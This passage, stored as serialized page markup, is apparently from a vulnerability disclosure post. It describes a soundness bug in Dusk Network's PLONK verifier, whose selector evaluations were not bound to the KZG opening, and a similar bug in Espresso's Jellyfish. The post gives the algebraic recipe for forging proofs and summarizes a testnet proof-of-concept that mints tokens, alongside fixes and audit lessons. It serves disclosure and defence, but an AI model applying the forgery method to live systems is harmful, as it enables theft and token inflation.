are:",{"type":24,"tag":22292,"props":150607,"children":150608},{},[150609,150641,150666,150691],{"type":24,"tag":2678,"props":150610,"children":150611},{},[150612,150618,150619,150625,150626,150632,150633,150639],{"type":24,"tag":80,"props":150613,"children":150615},{"className":150614},[],[150616],{"type":29,"value":150617},"a_eval",{"type":29,"value":546},{"type":24,"tag":80,"props":150620,"children":150622},{"className":150621},[],[150623],{"type":29,"value":150624},"b_eval",{"type":29,"value":546},{"type":24,"tag":80,"props":150627,"children":150629},{"className":150628},[],[150630],{"type":29,"value":150631},"c_eval",{"type":29,"value":546},{"type":24,"tag":80,"props":150634,"children":150636},{"className":150635},[],[150637],{"type":29,"value":150638},"d_eval",{"type":29,"value":150640}," (witness)",{"type":24,"tag":2678,"props":150642,"children":150643},{},[150644,150650,150651,150657,150658,150664],{"type":24,"tag":80,"props":150645,"children":150647},{"className":150646},[],[150648],{"type":29,"value":150649},"s_sigma_1_eval",{"type":29,"value":546},{"type":24,"tag":80,"props":150652,"children":150654},{"className":150653},[],[150655],{"type":29,"value":150656},"s_sigma_2_eval",{"type":29,"value":546},{"type":24,"tag":80,"props":150659,"children":150661},{"className":150660},[],[150662],{"type":29,"value":150663},"s_sigma_3_eval",{"type":29,"value":150665}," (permutation)",{"type":24,"tag":2678,"props":150667,"children":150668},{},[150669,150675,150676,150682,150683,150689],{"type":24,"tag":80,"props":150670,"children":150672},{"className":150671},[],[150673],{"type":29,"value":150674},"a_w_eval",{"type":29,"value":546},{"type":24,"tag":80,"props":150677,"children":150679},{"className":150678},[],[150680],{"type":29,"value":150681},"b_w_eval",{"type":29,"value":546},{"type":24,"tag":80,"props":150684,"children":150686},{"className":150685},[],[150687],{"type":29,"value":150688},"d_w_eval",{"type":29,"value":150690}," (shifted witness)",{"type":24,"tag":2678,"props":150692,"children":150693},{},[150694,150700],{"type":24,"tag":80,"props":150695,"children":150697},{"className":150696},[],[150698],{"type":29,"value":150699},"z_eval",{"type":29,"value":150701}," (permutation accumulator)",{"type":24,"tag":25,"props":150703,"children":150704},{},[150705,150707,150711],{"type":29,"value":150706},"But the following selector evaluations were ",{"type":24,"tag":8545,"props":150708,"children":150709},{},[150710],{"type":29,"value":24096},{"type":29,"value":150712}," included:",{"type":24,"tag":22292,"props":150714,"children":150715},{},[150716,150727,150738,150749],{"type":24,"tag":2678,"props":150717,"children":150718},{},[150719,150725],{"type":24,"tag":80,"props":150720,"children":150722},{"className":150721},[],[150723],{"type":29,"value":150724},"q_arith_eval",{"type":29,"value":150726}," (arithmetic selector)",{"type":24,"tag":2678,"props":150728,"children":150729},{},[150730,150736],{"type":24,"tag":80,"props":150731,"children":150733},{"className":150732},[],[150734],{"type":29,"value":150735},"q_c_eval",{"type":29,"value":150737}," (constant selector)",{"type":24,"tag":2678,"props":150739,"children":150740},{},[150741,150747],{"type":24,"tag":80,"props":150742,"children":150744},{"className":150743},[],[150745],{"type":29,"value":150746},"q_l_eval",{"type":29,"value":150748}," (left selector)",{"type":24,"tag":2678,"props":150750,"children":150751},{},[150752,150758],{"type":24,"tag":80,"props":150753,"children":150755},{"className":150754},[],[150756],{"type":29,"value":150757},"q_r_eval",{"type":29,"value":150759}," (right selector)",{"type":24,"tag":25,"props":150761,"children":150762},{},[150763,150765,150772,150773,150780,150781,150788,150789,150796],{"type":29,"value":150764},"The prover places four selector evaluations in the proof struct. The verifier absorbs them into the transcript, and the widget verifier code uses them directly in the linearization check (",{"type":24,"tag":2773,"props":150766,"children":150769},{"href":150767,"rel":150768},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/linearization_poly.rs#L33-L83",[2777],[150770],{"type":29,"value":150771},"proof struct",{"type":29,"value":546},{"type":24,"tag":2773,"props":150774,"children":150777},{"href":150775,"rel":150776},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L255-L286",[2777],[150778],{"type":29,"value":150779},"transcript absorption",{"type":29,"value":546},{"type":24,"tag":2773,"props":150782,"children":150785},{"href":150783,"rel":150784},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/arithmetic/verifierkey.rs#L92-L118",[2777],[150786],{"type":29,"value":150787},"arithmetic widget",{"type":29,"value":546},{"type":24,"tag":2773,"props":150790,"children":150793},{"href":150791,"rel":150792},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/ecc/scalar_mul/fixed_base/verifierkey.rs#L46-L102",[2777],[150794],{"type":29,"value":150795},"fixed-base ECC widget",{"type":29,"value":150797},"). But they are never checked against the corresponding selector commitments in the verifier key, even though those commitments already exist. The prover sends whatever values it wants and the verifier trusts them.",{"type":24,"tag":25,"props":150799,"children":150800},{},[150801,150803,150807],{"type":29,"value":150802},"The easiest way to see why these four omissions are special is to contrast them with two nearby cases that are ",{"type":24,"tag":8545,"props":150804,"children":150805},{},[150806],{"type":29,"value":24096},{"type":29,"value":150808}," bugs:",{"type":24,"tag":22292,"props":150810,"children":150811},{},[150812,150952],{"type":24,"tag":2678,"props":150813,"children":150814},{},[150815,150817,150862,150864,150870,150872,150877,150878,150883,150884,150889,150891,150897,150899,150944,150946,150951],{"type":29,"value":150816},"There is no prover-supplied ",{"type":24,"tag":80,"props":150818,"children":150820},{"className":150819},[9607,9608],[150821],{"type":24,"tag":147,"props":150822,"children":150824},{"className":150823},[9613],[150825],{"type":24,"tag":147,"props":150826,"children":150828},{"className":150827,"ariaHidden":9619},[9618],[150829],{"type":24,"tag":147,"props":150830,"children":150832},{"className":150831},[9624],[150833,150837,150842,150847,150852,150857],{"type":24,"tag":147,"props":150834,"children":150836},{"className":150835,"style":9735},[9629],[],{"type":24,"tag":147,"props":150838,"children":150840},{"className":150839},[9635,27190],[150841],{"type":29,"value":140},{"type":24,"tag":147,"props":150843,"children":150845},{"className":150844},[27319],[150846],{"type":29,"value":480},{"type":24,"tag":147,"props":150848,"children":150850},{"className":150849,"style":119177},[9635,27190],[150851],{"type":29,"value":119180},{"type":24,"tag":147,"props":150853,"children":150855},{"className":150854,"style":99116},[9635,27190],[150856],{"type":29,"value":149526},{"type":24,"tag":147,"props":150858,"children":150860},{"className":150859},[27341],[150861],{"type":29,"value":8758},{"type":29,"value":150863}," field at all. ",{"type":24,"tag":80,"props":150865,"children":150867},{"className":150866},[],[150868],{"type":29,"value":150869},"ProofEvaluations",{"type":29,"value":150871}," contains ",{"type":24,"tag":80,"props":150873,"children":150875},{"className":150874},[],[150876],{"type":29,"value":150674},{"type":29,"value":546},{"type":24,"tag":80,"props":150879,"children":150881},{"className":150880},[],[150882],{"type":29,"value":150681},{"type":29,"value":12113},{"type":24,"tag":80,"props":150885,"children":150887},{"className":150886},[],[150888],{"type":29,"value":150688},{"type":29,"value":150890},", but no ",{"type":24,"tag":80,"props":150892,"children":150894},{"className":150893},[],[150895],{"type":29,"value":150896},"c_w_eval",{"type":29,"value":150898},", so the verifier never consumes an unbound ",{"type":24,"tag":80,"props":150900,"children":150902},{"className":150901},[9607,9608],[150903],{"type":24,"tag":147,"props":150904,"children":150906},{"className":150905},[9613],[150907],{"type":24,"tag":147,"props":150908,"children":150910},{"className":150909,"ariaHidden":9619},[9618],[150911],{"type":24,"tag":147,"props":150912,"children":150914},{"className":150913},[9624],[150915,150919,150924,150929,150934,150939],{"type":24,"tag":147,"props":150916,"children":150918},{"className":150917,"style":9735},[9629],[],{"type":24,"tag":147,"props":150920,"children":150922},{"className":150921},[9635,27190],[150923],{"type":29,"value":140},{"type":24,"tag":147,"props":150925,"children":150927},{"className":150926},[27319],[150928],{"type":29,"value":480},{"type":24,"tag":147,"props":150930,"children":150932},{"className":150931,"style":119177},[9635,27190],[150933],{"type":29,"value":119180},{"type":24,"tag":147,"props":150935,"children":150937},{"className":150936,"style":99116},[9635,27190],[150938],{"type":29,"value":149526},{"type":24,"tag":147,"props":150940,"children":150942},{"className":150941},[27341],[150943],{"type":29,"value":8758},{"type":29,"value":150945}," claim (",{"type":24,"tag":2773,"props":150947,"children":150949},{"href":150767,"rel":150948},[2777],[150950],{"type":29,"value":150771},{"type":29,"value":5745},{"type":24,"tag":2678,"props":150953,"children":150954},{},[150955,150957,151044,151046,151138,151139,151146],{"type":29,"value":150956},"There is a fourth permutation commitment ",{"type":24,"tag":80,"props":150958,"children":150960},{"className":150959},[9607,9608],[150961],{"type":24,"tag":147,"props":150962,"children":150964},{"className":150963},[9613],[150965],{"type":24,"tag":147,"props":150966,"children":150968},{"className":150967,"ariaHidden":9619},[9618],[150969],{"type":24,"tag":147,"props":150970,"children":150972},{"className":150971},[9624],[150973,150977,150982,151039],{"type":24,"tag":147,"props":150974,"children":150976},{"className":150975,"style":9735},[9629],[],{"type":24,"tag":147,"props":150978,"children":150980},{"className":150979},[27319],[150981],{"type":29,"value":9358},{"type":24,"tag":147,"props":150983,"children":150985},{"className":150984},[9635],[150986,150991],{"type":24,"tag":147,"props":150987,"children":150989},{"className":150988,"style":99116},[9635,27190],[150990],{"type":29,"value":149421},{"type":24,"tag":147,"props":150992,"children":150994},{"className":150993},[9650],[150995],{"type":24,"tag":147,"props":150996,"children":150998},{"className":150997},[9655,27244],[150999,151028],{"type":24,"tag":147,"props":151000,"children":151002},{"className":151001},[9660],[151003,151023],{"type":24,"tag":147,"props":151004,"children":151006},{"className":151005,"style":98682},[9665],[151007],{"type":24,"tag":147,"props":151008,"children":151009},{"style":99163},[151010,151014],{"type":24,"tag":147,"props":151011,"children":151013},{"className":151012,"style":9675},[9674],[],{"type":24,"tag":147,"props":151015,"children":151017},{"className":151016},[9680,9681,9682,9683],[151018],{"type":24,"tag":147,"props":151019,"children":151021},{"className":151020},[9635,9683],[151022],{"type":29,"value":23134},{"type":24,"tag":147,"props":151024,"children":151026},{"className":151025},[27347],[151027],{"type":29,"value":27350},{"type":24,"tag":147,"props":151029,"children":151031},{"className":151030},[9660],[151032],{"type":24,"tag":147,"props":151033,"children":151035},{"className":151034,"style":98713},[9665],[151036],{"type":24,"tag":147,"props":151037,"children":151038},{},[],{"type":24,"tag":147,"props":151040,"children":151042},{"className":151041},[27341],[151043],{"type":29,"value":21023},{"type":29,"value":151045}," in the verifier key, but the verifier uses the commitment itself inside the linearization MSM rather than trusting a prover-supplied scalar ",{"type":24,"tag":80,"props":151047,"children":151049},{"className":151048},[9607,9608],[151050],{"type":24,"tag":147,"props":151051,"children":151053},{"className":151052},[9613],[151054],{"type":24,"tag":147,"props":151055,"children":151057},{"className":151056,"ariaHidden":9619},[9618],[151058],{"type":24,"tag":147,"props":151059,"children":151061},{"className":151060},[9624],[151062,151066,151123,151128,151133],{"type":24,"tag":147,"props":151063,"children":151065},{"className":151064,"style":9735},[9629],[],{"type":24,"tag":147,"props":151067,"children":151069},{"className":151068},[9635],[151070,151075],{"type":24,"tag":147,"props":151071,"children":151073},{"className":151072,"style":99116},[9635,27190],[151074],{"type":29,"value":149421},{"type":24,"tag":147,"props":151076,"children":151078},{"className":151077},[9650],[151079],{"type":24,"tag":147,"props":151080,"children":151082},{"className":151081},[9655,27244],[151083,151112],{"type":24,"tag":147,"props":151084,"children":151086},{"className":151085},[9660],[151087,151107],{"type":24,"tag":147,"props":151088,"children":151090},{"className":151089,"style":98682},[9665],[151091],{"type":24,"tag":147,"props":151092,"children":151093},{"style":99163},[151094,151098],{"type":24,"tag":147,"props":151095,"children":151097},{"className":151096,"style":9675},[9674],[],{"type":24,"tag":147,"props":151099,"children":151101},{"className":151100},[9680,9681,9682,9683],[151102],{"type":24,"tag":147,"props":151103,"children":151105},{"className":151104},[9635,9683],[151106],{"type":29,"value":23134},{"type":24,"tag":147,"props":151108,"children":151110},{"className":151109},[27347],[151111],{"type":29,"value":27350},{"type":24,"tag":147,"props":151113,"children":151115},{"className":151114},[9660],[151116],{"type":24,"tag":147,"props":151117,"children":151119},{"className":151118,"style":98713},[9665],[151120],{"type":24,"tag":147,"props":151121,"children":151122},{},[],{"type":24,"tag":147,"props":151124,"children":151126},{"className":151125},[27319],[151127],{"type":29,"value":480},{"type":24,"tag":147,"props":151129,"children":151131},{"className":151130,"style":119177},[9635,27190],[151132],{"type":29,"value":119180},{"type":24,"tag":147,"props":151134,"children":151136},{"className":151135},[27341],[151137],{"type":29,"value":8758},{"type":29,"value":408},{"type":24,"tag":2773,"props":151140,"children":151143},{"href":151141,"rel":151142},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/permutation/verifierkey.rs#L24-L104",[2777],[151144],{"type":29,"value":151145},"permutation verifier key",{"type":29,"value":5745},{"type":24,"tag":25,"props":151148,"children":151149},{},[151150,151152,151162],{"type":29,"value":151151},"The four selector evaluations fit neither of these safe patterns: they are prover-supplied scalars, they are used directly by verifier code, and they never appear in ",{"type":24,"tag":2773,"props":151153,"children":151156},{"href":151154,"rel":151155},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L361-L373",[2777],[151157],{"type":24,"tag":80,"props":151158,"children":151160},{"className":151159},[],[151161],{"type":29,"value":150603},{"type":29,"value":151163},", which leaves the master equation underconstrained.",{"type":24,"tag":25,"props":151165,"children":151166},{},[151167],{"type":24,"tag":63,"props":151168,"children":151171},{"alt":151169,"src":151170},"structural_trust_boundary","/posts/dusk-commitment-issues/structural_trust_boundary.svg",[],{"type":24,"tag":2665,"props":151173,"children":151174},{},[],{"type":24,"tag":32,"props":151176,"children":151178},{"id":151177},"the-exploitation",[151179],{"type":29,"value":151180},"The exploitation",{"type":24,"tag":25,"props":151182,"children":151183},{},[151184],{"type":29,"value":151185},"Since the selector evaluations are free variables, the verification equation becomes a linear equation the prover can solve after the fact.",{"type":24,"tag":25,"props":151187,"children":151188},{},[151189,151191,151197,151199,151204,151206,151211,151213,151219],{"type":29,"value":151190},"The prover commits to arbitrary witness polynomials, without needing a valid witness, and arbitrary quotient polynomials, where small random linear polynomials suffice. It follows the honest protocol through all commitment rounds, deriving the same challenges the verifier will. After seeing ",{"type":24,"tag":80,"props":151192,"children":151194},{"className":151193},[],[151195],{"type":29,"value":151196},"z_challenge",{"type":29,"value":151198},", it computes what the linearization polynomial ",{"type":24,"tag":8545,"props":151200,"children":151201},{},[151202],{"type":29,"value":151203},"should",{"type":29,"value":151205}," evaluate to for the pairing check to pass, then solves for ",{"type":24,"tag":80,"props":151207,"children":151209},{"className":151208},[],[151210],{"type":29,"value":150724},{"type":29,"value":151212},", the single free variable that makes the verification equation balance (setting ",{"type":24,"tag":80,"props":151214,"children":151216},{"className":151215},[],[151217],{"type":29,"value":151218},"q_c_eval = q_l_eval = q_r_eval = 0",{"type":29,"value":5745},{"type":24,"tag":25,"props":151221,"children":151222},{},[151223],{"type":24,"tag":63,"props":151224,"children":151227},{"alt":151225,"src":151226},"exploit_algebra","/posts/dusk-commitment-issues/exploit_algebra.svg",[],{"type":24,"tag":25,"props":151229,"children":151230},{},[151231,151233,151273,151275,151300,151302,151307],{"type":29,"value":151232},"To achieve this one may compute the linearization polynomial ",{"type":24,"tag":80,"props":151234,"children":151236},{"className":151235},[9607,9608],[151237],{"type":24,"tag":147,"props":151238,"children":151240},{"className":151239},[9613],[151241],{"type":24,"tag":147,"props":151242,"children":151244},{"className":151243,"ariaHidden":9619},[9618],[151245],{"type":24,"tag":147,"props":151246,"children":151248},{"className":151247},[9624],[151249,151253,151258,151263,151268],{"type":24,"tag":147,"props":151250,"children":151252},{"className":151251,"style":9735},[9629],[],{"type":24,"tag":147,"props":151254,"children":151256},{"className":151255,"style":98630},[9635,27190],[151257],{"type":29,"value":99449},{"type":24,"tag":147,"props":151259,"children":151261},{"className":151260},[27319],[151262],{"type":29,"value":480},{"type":24,"tag":147,"props":151264,"children":151266},{"className":151265},[9635,27190],[151267],{"type":29,"value":24880},{"type":24,"tag":147,"props":151269,"children":151271},{"className":151270},[27341],[151272],{"type":29,"value":8758},{"type":29,"value":151274}," with all selectors set to zero, evaluating it at ",{"type":24,"tag":80,"props":151276,"children":151278},{"className":151277},[9607,9608],[151279],{"type":24,"tag":147,"props":151280,"children":151282},{"className":151281},[9613],[151283],{"type":24,"tag":147,"props":151284,"children":151286},{"className":151285,"ariaHidden":9619},[9618],[151287],{"type":24,"tag":147,"props":151288,"children":151290},{"className":151289},[9624],[151291,151295],{"type":24,"tag":147,"props":151292,"children":151294},{"className":151293,"style":116462},[9629],[],{"type":24,"tag":147,"props":151296,"children":151298},{"className":151297,"style":119177},[9635,27190],[151299],{"type":29,"value":119180},{"type":29,"value":151301},", and comparing to the target value; the difference divided by the coefficient of ",{"type":24,"tag":80,"props":151303,"children":151305},{"className":151304},[],[151306],{"type":29,"value":150724},{"type":29,"value":151308}," gives the required value in a single field division.",{"type":24,"tag":2665,"props":151310,"children":151311},{},[],{"type":24,"tag":32,"props":151313,"children":151315},{"id":151314},"impact-on-dusk-network",[151316],{"type":29,"value":151317},"Impact on Dusk Network",{"type":24,"tag":25,"props":151319,"children":151320},{},[151321,151323,151330],{"type":29,"value":151322},"PLONK is the sole gatekeeper for Phoenix-specific correctness claims: note membership, ownership, note commitments, sender-authorship, and balance integrity are encoded entirely in the circuit. Rusk does check other preconditions such as nullifier uniqueness before it verifies the proof (",{"type":24,"tag":2773,"props":151324,"children":151327},{"href":151325,"rel":151326},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/node/vm.rs#L153-L184",[2777],[151328],{"type":29,"value":151329},"preverify path",{"type":29,"value":151331},"), but for the claims inside the proof there is no secondary validation path. With forged proofs, an attacker could:",{"type":24,"tag":2674,"props":151333,"children":151334},{},[151335,151340,151345],{"type":24,"tag":2678,"props":151336,"children":151337},{},[151338],{"type":29,"value":151339},"Inflate the token supply by fabricating input notes that do not exist in the note tree, with arbitrary values. The forged proof convinces the network these notes are real, and the attacker mints DUSK out of nothing, ready to transfer to honest users or exchanges.",{"type":24,"tag":2678,"props":151341,"children":151342},{},[151343],{"type":29,"value":151344},"Forge spends that bypass the ownership, membership, and balance checks that normally make a Phoenix input note valid.",{"type":24,"tag":2678,"props":151346,"children":151347},{},[151348],{"type":29,"value":151349},"Move forged shielded funds through honest wallets, because once a forged Phoenix transaction is accepted, the resulting shielded outputs are not distinguishable from legitimate Phoenix outputs at the protocol level.",{"type":24,"tag":25,"props":151351,"children":151352},{},[151353],{"type":29,"value":151354},"We demonstrated this with a full end-to-end proof-of-concept on a local Dusk testnet:",{"type":24,"tag":2674,"props":151356,"children":151357},{},[151358,151363,151373,151385,151390],{"type":24,"tag":2678,"props":151359,"children":151360},{},[151361],{"type":29,"value":151362},"Set up a single honest Rusk node and create two wallets (honest and malicious), both with balance 0",{"type":24,"tag":2678,"props":151364,"children":151365},{},[151366,151368],{"type":29,"value":151367},"The malicious wallet forges a PLONK proof to create ",{"type":24,"tag":10949,"props":151369,"children":151370},{},[151371],{"type":29,"value":151372},"2000 DUSK from nothing",{"type":24,"tag":2678,"props":151374,"children":151375},{},[151376,151378,151383],{"type":29,"value":151377},"The malicious wallet transfers ",{"type":24,"tag":10949,"props":151379,"children":151380},{},[151381],{"type":29,"value":151382},"1337 DUSK",{"type":29,"value":151384}," to the honest wallet using a normal (honestly-proved) transaction",{"type":24,"tag":2678,"props":151386,"children":151387},{},[151388],{"type":29,"value":151389},"The honest node validates both transactions and mines them into blocks",{"type":24,"tag":2678,"props":151391,"children":151392},{},[151393],{"type":29,"value":151394},"The honest wallet shows a confirmed balance of 1337 DUSK",{"type":24,"tag":25,"props":151396,"children":151397},{},[151398],{"type":24,"tag":63,"props":151399,"children":151402},{"alt":151400,"src":151401},"end_to_end","/posts/dusk-commitment-issues/end_to_end.svg",[],{"type":24,"tag":25,"props":151404,"children":151405},{},[151406,151408,151414,151416,151423],{"type":29,"value":151407},"At the time of discovery, DUSK's market cap was roughly ",{"type":24,"tag":2773,"props":151409,"children":151411},{"href":146709,"rel":151410},[2777],[151412],{"type":29,"value":151413},"~60M",{"type":29,"value":151415},". The entire shielded transaction layer was at risk. Because Phoenix is privacy-preserving, forged outputs accepted into the shielded pool would have been difficult to distinguish after the fact, similar to Neptune Cash with the ",{"type":24,"tag":2773,"props":151417,"children":151420},{"href":151418,"rel":151419},"https://neptune.cash/articles/critical-vulnerability-disclosure",[2777],[151421],{"type":29,"value":151422},"Triton VM vulnerability",{"type":29,"value":87},{"type":24,"tag":2665,"props":151425,"children":151426},{},[],{"type":24,"tag":32,"props":151428,"children":151430},{"id":151429},"the-fix",[151431],{"type":29,"value":151432},"The fix",{"type":24,"tag":25,"props":151434,"children":151435},{},[151436],{"type":29,"value":151437},"The fix adds the four selector evaluations to the KZG batch opening check, so they are verified against the selector commitments already present in the verifier key:",{"type":24,"tag":22292,"props":151439,"children":151440},{},[151441,151486],{"type":24,"tag":2678,"props":151442,"children":151443},{},[151444,151446,151457,151459,151465,151466,151472,151473,151479,151480],{"type":29,"value":151445},"Extend ",{"type":24,"tag":2773,"props":151447,"children":151450},{"href":151448,"rel":151449},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/compiler/prover.rs#L509",[2777],[151451],{"type":24,"tag":80,"props":151452,"children":151454},{"className":151453},[],[151455],{"type":29,"value":151456},"compute_aggregate_witness",{"type":29,"value":151458}," on the prover side to also include ",{"type":24,"tag":80,"props":151460,"children":151462},{"className":151461},[],[151463],{"type":29,"value":151464},"q_arith",{"type":29,"value":546},{"type":24,"tag":80,"props":151467,"children":151469},{"className":151468},[],[151470],{"type":29,"value":151471},"q_c",{"type":29,"value":546},{"type":24,"tag":80,"props":151474,"children":151476},{"className":151475},[],[151477],{"type":29,"value":151478},"q_l",{"type":29,"value":12113},{"type":24,"tag":80,"props":151481,"children":151483},{"className":151482},[],[151484],{"type":29,"value":151485},"q_r",{"type":24,"tag":2678,"props":151487,"children":151488},{},[151489,151491,151501],{"type":29,"value":151490},"Add their evaluations to ",{"type":24,"tag":2773,"props":151492,"children":151495},{"href":151493,"rel":151494},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362",[2777],[151496],{"type":24,"tag":80,"props":151497,"children":151499},{"className":151498},[],[151500],{"type":29,"value":150603},{"type":29,"value":151502}," on the verifier side, so they're checked against the commitments in the verifier key",{"type":24,"tag":25,"props":151504,"children":151505},{},[151506,151508,151515],{"type":29,"value":151507},"This was done in ",{"type":24,"tag":2773,"props":151509,"children":151512},{"href":151510,"rel":151511},"https://github.com/dusk-network/plonk/commit/645265b748d2698bcb403b794fc2d58340b340f1",[2777],[151513],{"type":29,"value":151514},"commit 645265b7",{"type":29,"value":151516},", which landed on February 14, 2026.",{"type":24,"tag":2665,"props":151518,"children":151519},{},[],{"type":24,"tag":32,"props":151521,"children":151523},{"id":151522},"why-was-this-missed",[151524],{"type":29,"value":151525},"Why was this missed?",{"type":24,"tag":25,"props":151527,"children":151528},{},[151529,151531,151538,151539,151546,151548,151555,151557,151564],{"type":29,"value":151530},"Dusk's stack had been heavily audited: a ",{"type":24,"tag":2773,"props":151532,"children":151535},{"href":151533,"rel":151534},"https://github.com/dusk-network/audits/blob/main/core-audits/2023-12_plonk-audit-report_porter-adams.pdf",[2777],[151536],{"type":29,"value":151537},"December 2023 audit of dusk-plonk",{"type":29,"value":840},{"type":24,"tag":2773,"props":151540,"children":151543},{"href":151541,"rel":151542},"https://github.com/dusk-network/audits/blob/main/core-audits/2024-09_phoenix-audit-report_jules-de-smit.pdf",[2777],[151544],{"type":29,"value":151545},"September 2024 audit of Phoenix",{"type":29,"value":151547},", and a ",{"type":24,"tag":2773,"props":151549,"children":151552},{"href":151550,"rel":151551},"https://github.com/dusk-network/audits/blob/main/core-audits/2024-09_rusk-node-library_oak-security.pdf",[2777],[151553],{"type":29,"value":151554},"September 2024 Oak Security audit of the Rusk node library",{"type":29,"value":151556},". Dusk's public ",{"type":24,"tag":2773,"props":151558,"children":151561},{"href":151559,"rel":151560},"https://dusk.network/news/audits-overview",[2777],[151562],{"type":29,"value":151563},"audits overview",{"type":29,"value":151565}," summarizes the broader audit program. The bug still went unnoticed because it hides behind a very easy mental-model mistake.",{"type":24,"tag":25,"props":151567,"children":151568},{},[151569,151571,151576],{"type":29,"value":151570},"At the polynomial level, selectors are public circuit descriptions. A reviewer who keeps that standard PLONK model in mind will naturally think \"selectors are verifier-side\" and move on, overlooking the architectural deviation where Dusk's verifier started consuming prover-supplied selector ",{"type":24,"tag":8545,"props":151572,"children":151573},{},[151574],{"type":29,"value":151575},"evaluations",{"type":29,"value":87},{"type":24,"tag":25,"props":151578,"children":151579},{},[151580],{"type":29,"value":151581},"This was a pure proof-system bug, not a Phoenix-circuit bug; the circuit constraints themselves were correctly written. The failure occurred entirely because the verifier accepted proof fields that bypassed the fundamental invariant established earlier: they were neither locally computed nor cryptographically bound to an opening proof.",{"type":24,"tag":25,"props":151583,"children":151584},{},[151585],{"type":29,"value":151586},"The check for this class of bug is mechanical: enumerate every field in the proof's evaluation struct and verify that each one either appears in the opening proof batch or is computed locally by the verifier.",{"type":24,"tag":32,"props":151588,"children":151590},{"id":151589},"a-similar-bug-in-espresso-systems-jellyfish",[151591],{"type":29,"value":151592},"A similar bug in Espresso Systems' Jellyfish",{"type":24,"tag":25,"props":151594,"children":151595},{},[151596,151598,151605],{"type":29,"value":151597},"While investigating PLONK implementations, we found a similar vulnerability in ",{"type":24,"tag":2773,"props":151599,"children":151602},{"href":151600,"rel":151601},"https://github.com/EspressoSystems/jellyfish/",[2777],[151603],{"type":29,"value":151604},"jf-plonk",{"type":29,"value":151606}," by Espresso Systems. The exact mechanism is different, but the exploitation also boils down to variables that are used in the final check not being cryptographically bound.",{"type":24,"tag":25,"props":151608,"children":151609},{},[151610,151612,151619,151621,151632,151634,151659,151661,151686],{"type":29,"value":151611},"Jellyfish implements UltraPlonk, which extends standard PLONK with ",{"type":24,"tag":2773,"props":151613,"children":151616},{"href":151614,"rel":151615},"https://eprint.iacr.org/2020/315",[2777],[151617],{"type":29,"value":151618},"Plookup",{"type":29,"value":151620}," lookup arguments. Plookup adds 15 polynomial evaluations to the proof. The function ",{"type":24,"tag":2773,"props":151622,"children":151625},{"href":151623,"rel":151624},"https://github.com/EspressoSystems/jellyfish/blob/83e62ed43140d251f8a972033fdd9ddb717c66d7/plonk/src/transcript/mod.rs#L156-L166",[2777],[151626],{"type":24,"tag":80,"props":151627,"children":151629},{"className":151628},[],[151630],{"type":29,"value":151631},"append_plookup_evaluations",{"type":29,"value":151633}," was supposed to add all 15 to the Fiat-Shamir transcript before the batching challenge ",{"type":24,"tag":80,"props":151635,"children":151637},{"className":151636},[9607,9608],[151638],{"type":24,"tag":147,"props":151639,"children":151641},{"className":151640},[9613],[151642],{"type":24,"tag":147,"props":151643,"children":151645},{"className":151644,"ariaHidden":9619},[9618],[151646],{"type":24,"tag":147,"props":151647,"children":151649},{"className":151648},[9624],[151650,151654],{"type":24,"tag":147,"props":151651,"children":151653},{"className":151652,"style":116462},[9629],[],{"type":24,"tag":147,"props":151655,"children":151657},{"className":151656,"style":99116},[9635,27190],[151658],{"type":29,"value":119524},{"type":29,"value":151660}," is derived. Instead, it only added 6 of the 15, and the remaining 9 evaluations are used in the batched verification check but don't influence ",{"type":24,"tag":80,"props":151662,"children":151664},{"className":151663},[9607,9608],[151665],{"type":24,"tag":147,"props":151666,"children":151668},{"className":151667},[9613],[151669],{"type":24,"tag":147,"props":151670,"children":151672},{"className":151671,"ariaHidden":9619},[9618],[151673],{"type":24,"tag":147,"props":151674,"children":151676},{"className":151675},[9624],[151677,151681],{"type":24,"tag":147,"props":151678,"children":151680},{"className":151679,"style":116462},[9629],[],{"type":24,"tag":147,"props":151682,"children":151684},{"className":151683,"style":99116},[9635,27190],[151685],{"type":29,"value":119524},{"type":29,"value":151687},", so the prover can adjust them after the fact to make the check pass.",{"type":24,"tag":25,"props":151689,"children":151690},{},[151691,151693,151699,151701,151707],{"type":29,"value":151692},"The attack requires modifying a single evaluation (",{"type":24,"tag":80,"props":151694,"children":151696},{"className":151695},[],[151697],{"type":29,"value":151698},"key_table_next_eval",{"type":29,"value":151700},") by ",{"type":24,"tag":80,"props":151702,"children":151704},{"className":151703},[],[151705],{"type":29,"value":151706},"delta / (u * v^3)",{"type":29,"value":151708}," to close the gap between the true and expected batched evaluation, which, like the Dusk exploit, reduces to a single field division.",{"type":24,"tag":25,"props":151710,"children":151711},{},[151712,151714,151721,151723,151734],{"type":29,"value":151713},"To our knowledge, Jellyfish's UltraPlonk mode is not currently deployed in production. ",{"type":24,"tag":2773,"props":151715,"children":151718},{"href":151716,"rel":151717},"https://github.com/EspressoSystems/jellyfish/pull/867",[2777],[151719],{"type":29,"value":151720},"PR #867",{"type":29,"value":151722}," fixed the issue and was tagged as ",{"type":24,"tag":2773,"props":151724,"children":151727},{"href":151725,"rel":151726},"https://github.com/EspressoSystems/jellyfish/tree/jf-plonk-v0.8.0",[2777],[151728],{"type":24,"tag":80,"props":151729,"children":151731},{"className":151730},[],[151732],{"type":29,"value":151733},"jf-plonk-v0.8.0",{"type":29,"value":151735}," on March 18, 2026.",{"type":24,"tag":2665,"props":151737,"children":151738},{},[],{"type":24,"tag":32,"props":151740,"children":151742},{"id":151741},"toward-standardization",[151743],{"type":29,"value":151744},"Toward standardization",{"type":24,"tag":25,"props":151746,"children":151747},{},[151748,151750,151757],{"type":29,"value":151749},"The fact that two independent PLONK implementations contain the same class of bug, and that 